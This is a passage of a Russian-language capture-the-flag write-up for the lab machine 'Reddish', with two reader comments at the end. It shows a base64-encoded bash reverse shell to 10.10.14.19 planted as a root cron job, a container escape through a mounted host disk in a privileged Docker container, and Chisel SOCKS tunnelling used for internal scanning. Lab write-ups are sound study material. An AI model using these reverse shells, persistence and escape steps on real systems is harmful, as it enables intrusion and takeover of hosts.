root@www:/tmp# rsync -a shell.sh rsync://backup:873/src/tmp/ root@www:/tmp# rsync -a shell rsync://backup:873/src/etc/cron.d/ |
И через мгновение нам приходит коннект на 3333-й порт Kali.
Финальный захват хоста Reddish
Прогулявшись по файловой системе backup, можно увидеть такую картину.
В директории /dev оставлен доступ ко всем накопителям хостовой ОС. Это означает, что на Reddish контейнер был запущен с флагом —privileged. Это наделяет докер-процесс практически всеми полномочиями, которые есть у основного хоста.
Если мы смонтируем, к примеру, /dev/sda1, то сможем совершить побег в файловую систему Reddish.
Шелл можно получить тем же способом, каким мы попали в контейнер backup: создадим cronjob и дропнем его в /dev/sda1/etc/cron.d/.
1 2 3 4 |
root@backup:/tmp/sda1/etc/cron.d# echo 'YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOS85OTk5IDA+JjEnCg==' | base64 -d > /tmp/sda1/tmp/shell.sh root@backup:/tmp/sda1/etc/cron.d# cat ../../tmp/shell.sh bash -c 'bash -i >& /dev/tcp/10.10.14.19/9999 0>&1' root@backup:/tmp/sda1/etc/cron.d# echo '* * * * * root bash /tmp/shell.sh' > shell |
И теперь отклик реверс-шелла придет уже человеческим образом — через реальную сеть 10.10.0.0/16 (а не через дебри виртуальных интерфейсов докера) на порт 9999 ВМ Kali.
Если вызвать ip addr, можно видеть нагромождение сетей docker.
Вот и все! Осталось забрать рутовый флаг — и виртуалка пройдена.
1 2 3 |
root@backup:/tmp/sda1# cat root/root.txt cat root/root.txt 50d0db64???????????????????????? |
Эпилог
Конфигурация docker
У нас есть полноправный доступ к системе, поэтому из любопытства можно открыть конфигурацию docker /opt/reddish_composition/docker-compose.yml.
Из нее мы видим:
- список портов, доступных «снаружи» (строка 7);
- разделяемую с контейнерами www и redis внутреннюю сеть (строка 10);
- конфигурации всех контейнеров (nodered, www, redis, backup);
- флаг —privileged, с которым запущен контейнер backup (строка 38).
В соответствии с найденным конфигом я в последний раз обновлю свою сетевую карту.
Chisel SOCKS
Откровенно говоря, Reddish можно было пройти гораздо проще, ведь Chisel поддерживает SOCKS-прокси. Это значит, что нам вообще-то не нужно было вручную возводить отдельный туннель под каждый пробрасываемый порт. Безусловно, это полезно в учебных целях — чтобы понимать, как это все работает, однако настройка прокси-сервера значительно упрощает жизнь пентестеру.
Единственная трудность заключается в том, что Chisel умеет запускать SOCKS-сервер только в режиме chisel server. То есть нам нужно было бы положить Chisel на промежуточный хост (например, nodered), запустить его в режиме сервера и подключаться к этому серверу с Kali. Но именно это мы и не могли сделать! Как ты помнишь, мы сперва пробросили реверс-соединение к себе на машину, чтобы взаимодействовать с внутренней сетью докер-контейнеров.
Но и здесь есть выход: можно запустить «Chisel поверх Chisel». В этом случае первый Chisel будет вести себя как обычный сервер, который организует нам backconnect к nodered, а второй — как сервер SOCKS-прокси уже в самом контейнере nodered. Убедимся на примере.
1 |
root@kali:~/chisel# ./chisel server -v -reverse -p 8000 |
Первым делом, как обычно, запускаем сервер на Kali, который разрешает обратные подключения.
1 |
root@nodered:/tmp# ./chisel client 10.10.14.19:8000 R:127.0.0.1:8001:127.0.0.1:31337 & |
Потом делаем обратный проброс с nodered (порт 31337) на Kali (порт 8001). Теперь все, что попадает на Kali через localhost:8001, отправляется в nodered на localhost:31337.
1 |
root@nodered:/tmp# ./chisel server -v -p 31337 --socks5 |
Следующим шагом запускаем Chisel в режиме SOCKS-сервера на nodered — слушать порт 31337.
1 |
root@kali:~/chisel# ./chisel client 127.0.0.1:8001 1080:socks |
В завершение активируем дополнительный клиент Chisel на Kali (со значением socks в качестве remote), который подключается к локальному порту 8001. А дальше начинается магия: трафик передается через порт 1080 SOCKS-прокси по обратному туннелю (его обслуживает первый сервер Chisel на 8000-м порту) и попадает на интерфейс 127.0.0.1 контейнера nodered — в порт 31337, где уже развернут SOCKS-сервер. Фух.
С этого момента мы можем обращаться к любому хосту по любому порту, если до них может дотянуться nodered, — а SOCKS-прокси выполнит всю маршрутизацию за нас.
1 2 3 4 5 |
root@kali:~# proxychains4 nmap -n -Pn -sT -sV -sC 172.19.0.3 -p6379 ... PORT STATE SERVICE VERSION 6379/tcp open redis Redis key-value store 4.0.9 ... |
…дорогая сердцу любого хакера функция exec…улыбнуло))
Спасибо за статью, оооочень познавательно и интересно!